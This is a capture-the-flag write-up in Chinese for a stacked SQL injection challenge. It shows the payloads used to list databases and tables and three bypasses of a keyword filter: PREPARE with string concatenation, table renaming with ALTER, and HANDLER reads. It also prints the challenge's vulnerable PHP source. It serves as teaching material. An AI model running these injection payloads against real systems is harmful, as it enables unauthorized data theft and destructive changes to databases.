• [BUUOJ记录] [强网杯 2019]随便注(三种方法)


    本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版

    猜测这里的MySQL语句结构应该是:

    select * from words where id='$inject';

    构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可

    先列出所有数据库:

    1';show databases;#

    得到:

    array(1) {
      [0]=>
      string(11) "ctftraining"
    }
    
    array(1) {
      [0]=>
      string(18) "information_schema"
    }
    
    array(1) {
      [0]=>
      string(5) "mysql"
    }
    
    array(1) {
      [0]=>
      string(18) "performance_schema"
    }
    
    array(1) {
      [0]=>
      string(9) "supersqli"
    }
    
    array(1) {
      [0]=>
      string(4) "test"
    }

    选择数据库:

    1';use supersqli;#

    查询supersqli库中的所有表:

    1';show tables;#

    得到:

    array(1) {
      [0]=>
      string(16) "1919810931114514"
    }
    
    array(1) {
      [0]=>
      string(5) "words"
    }

    查询1919810931114514表中的字段(这里需要注意的是,如果表名是纯数字需要用反引号包裹,不然不会出现回显):

    1';show columns from `1919810931114514`;#

    得到:

    array(6) {
      [0]=>
      string(4) "flag"
      [1]=>
      string(12) "varchar(100)"
      [2]=>
      string(2) "NO"
      [3]=>
      string(0) ""
      [4]=>
      NULL
      [5]=>
      string(0) ""
    }

    以上是正常的步骤,但是准备用select查询flag时发现了过滤,过滤掉了select、update、delete、drop、insert、where:

    下面开始讲解获取flag的三种方法:

    1.储存过程绕过(利用prepare语句):

    1';
    set @a = CONCAT('se','lect * from `1919810931114514`;');  //字符串拼接绕过select过滤
    prepare flag from @a;
    EXECUTE flag;#

    关于这种绕过方式可以参考: PDO场景下的SQL注入探究

     2.重命名绕过(利用alter语句与rename语句):

    1';
    alter table words rename to words1;
    alter table `1919810931114514` rename to words;
    alter table words change flag id varchar(50);#

    执行完上述请求再请求1’ or 1=1#即可获得Flag

     参考:http://www.saucer-man.com/information_security/302.html

    3.handler语句代替select查询:

    这个方法在i春秋GYCTF中本题的升级版(多过滤了prepare、set、rename,显然前两种方法都不适用)中亮相

    1';handler `1919810931114514` open as ye;  //同样的,这里的表名因为是纯数字所以需要用反引号包裹
    handler ye read first;
    handler ye close;#  //注意:这里必须close handler才可以获取Flag

    这里附上handler的用法:

    HANDLER tbl_name OPEN [ [AS] alias]
    
    HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
        [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
        [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ { FIRST | NEXT }
        [ WHERE where_condition ] [LIMIT ... ]
    
    HANDLER tbl_name CLOSE

    e.g: 通过handler语句查询users表的内容:

    handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
    handler yunensec read first; #读取指定表/句柄的首行数据
    handler yunensec read next; #读取指定表/句柄的下一行数据
    handler yunensec read next; #读取指定表/句柄的下一行数据
    ...
    handler yunensec close; #关闭句柄

    做完题之后分析一下源码:

    <html>
    
    <head>
        <meta charset="UTF-8">
        <title>easy_sql</title>
    </head>
    
    <body>
    <h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
    <!-- sqlmap是没有灵魂的 -->
    <form method="get">
        姿势: <input type="text" name="inject" value="1">
        <input type="submit">
    </form>
    
    <pre>
    <?php
    function waf1($inject) {
        preg_match("/select|update|delete|drop|insert|where|./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|./i",$inject);');
    }
    function waf2($inject) {
        strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
    }
    if(isset($_GET['inject'])) {
        $id = $_GET['inject'];
        waf1($id);
        waf2($id);
        $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
        $sql = "select * from `words` where id = '$id';";
        $res = $mysqli->multi_query($sql);
        if ($res){
          do{
            if ($rs = $mysqli->store_result()){
              while ($row = $rs->fetch_row()){
                var_dump($row);
                echo "<br>";
              }
              $rs->Close();
              if ($mysqli->more_results()){
                echo "<hr>";
              }
            }
          }while($mysqli->next_result());
        } else {
          echo "error ".$mysqli->errno." : ".$mysqli->error;
        }
        $mysqli->close();
    }
    ?>
    </pre>
    
    </body>
    
    </html>

    堆叠注入的成因在这里:

    $res = $mysqli->multi_query($sql);

    这里的multi_query()可以执行一条或多条sql语句,从而导致了堆叠注入的产生。

  • 相关阅读:
    [原]浅谈几种服务器端模型——同步阻塞迭代
    [原] 利用Radix树作为KeyValue 键值对的数据路由
    [原]tornado源码分析系列(四)[buffer事件类IOStream]
    [原]浅谈几种服务器端模型——反应堆模式(基于epoll的反应堆)
    [原]tornado源码分析系列(二)[网络层 IOLoop类]
    [原]浅谈几种服务器端模型——反应堆的设计
    [笔记]Linux内核学习之旅软中断(SIrq)与SMP IRQ Affinity
    [原]tornado源码分析系列(五)[HTTPServer 层]
    [原]浅谈几种服务器端模型——多线程并发式(线程池)
    [原]字典树处理单词集
  • 原文地址:https://www.cnblogs.com/yesec/p/12381210.html
Copyright © 2020-2023  润新知